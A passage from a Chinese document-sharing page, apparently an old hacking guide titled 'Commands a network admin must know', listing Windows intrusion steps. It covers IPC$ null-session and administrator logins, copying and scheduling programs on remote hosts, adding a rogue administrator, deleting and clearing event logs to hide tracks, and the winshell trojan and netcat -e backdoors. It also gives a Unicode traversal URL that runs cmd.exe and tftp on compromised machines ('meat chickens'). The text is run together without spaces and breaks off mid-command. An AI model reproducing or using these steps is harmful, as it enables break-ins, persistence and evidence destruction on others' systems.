网管必须知道的命令

《网管必须知道的命令》由会员上传分享，免费在线阅读，更多相关内容在教育资源-天天文库。

1、网管必须知道的命令常用的几条NET命令：==================================================（与远程主机建立空管连接）netuse\IP地址ipc$""/use:""（以管理员身份登录远程主机）netuse\IP地址ipc$"密码"/use:"Administrator"（传送文件到远程主机WINNT目录下）copy本机目录路径程序\IP地址admin$（查看远程主机时间）nettime\IP地址（定时启动某个程序）at\IP地址02:18readme.exe（查看共

2、享）netview\IP地址（查看netbios工作组列表）nbtstat-AIP地址（将远程主机C盘映射为自己的F盘）netusef:\IP地址c$""/user:"Administrator"（这两条把自己增加到管理员组）：netuser用户名密码/addnetlocalgroupAdministrators用户名/add（断开连接）netuse\IP地址ipc$/delete=====================================================擦屁屁：delC:winntsys

3、tem32logfiles*.*delC:winntsystem32config*.evtdelC:winntsystem32dtclog*.*delC:winntsystem32*.logdelC:winntsystem32*.txtdelC:winnt*.txtdelC:winnt*.log============================一、netsvc.exe下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务：netsvc/list\IP地址netsvc

4、schedule\IP地址/querynetsvc\IP地址schedule/start二、OpenTelnet.exe远程启动主机的Telnet服务，并绑定端口到7878，例如：OpenTelnet\IP地址用户名密码17878然后就可以telnet到主机的7878端口，进入DOS方式下：telnetIP地址7878三、winshell.exe一个非常小的木马（不到6K），telnet到主机的7878端口，输入密码winshell，当看到CMD>后，可打下面的命令：pPath（查看winshell主程序的路径信息）breBo

5、ot（重新启动机器）dshutDown（关闭机器）sShell（执行后你就会看到可爱的“C:>”）xeXit（退出本次登录会话，此命令并不终止winshell的运行）CMD>http://.../srv.exe（通过http下载其他网站上的文件到运行winshell的机器上）四、3389登陆器，GUI方式登录远程主机的五、elsave.exe事件日志清除工具elsave-s\IP地址-l"application"-Celsave-s\IP地址-l"system"-Celsave-s\IP地址-l"security"-C执行后

6、成功清除应用程序日志，系统日志，安全日志六、hbulot.exe开启win2kserver和winxp的3389服务hbulot[/r]使用/r表示安装完成后自动重起目标使设置生效。七、nc.exe(netcat.exe)一个很好的工具，一些脚本程序都要用到它，也可做溢出后的连接用。想要连接到某处:nc[-options]hostnameport[s][ports]...绑定端口等待连接:nc-l-pport[-options][hostname][port]参数:-eprog程序重定向，一旦连接，就执行[危险!!]-ggatewa

7、ysource-routinghoppoint[s],upto8-Gnumsource-routingpointer:4,8,12,...-h帮助信息-isecs延时的间隔-l监听模式，用于入站连接-n指定数字的IP地址，不能用hostname-ofile记录16进制的传输-pport本地端口号-r任意指定本地及远程端口-saddr本地源地址-uUDP模式-v详细输出——用两个-v可得到更详细的内容-wsecstimeout的时间-z将输入输出关掉——用于扫描时八、TFTPD32.EXE把自己的电脑临时变为一台FTP服务器，让肉鸡来

8、下载文件，tftp命令要在肉鸡上执行，通常要利用Unicode漏洞或telnet到肉鸡，例如：http://ip/地址/scripts/..%255c..%255c/winnt/system32/cmd.exe?/ctftp-i本机I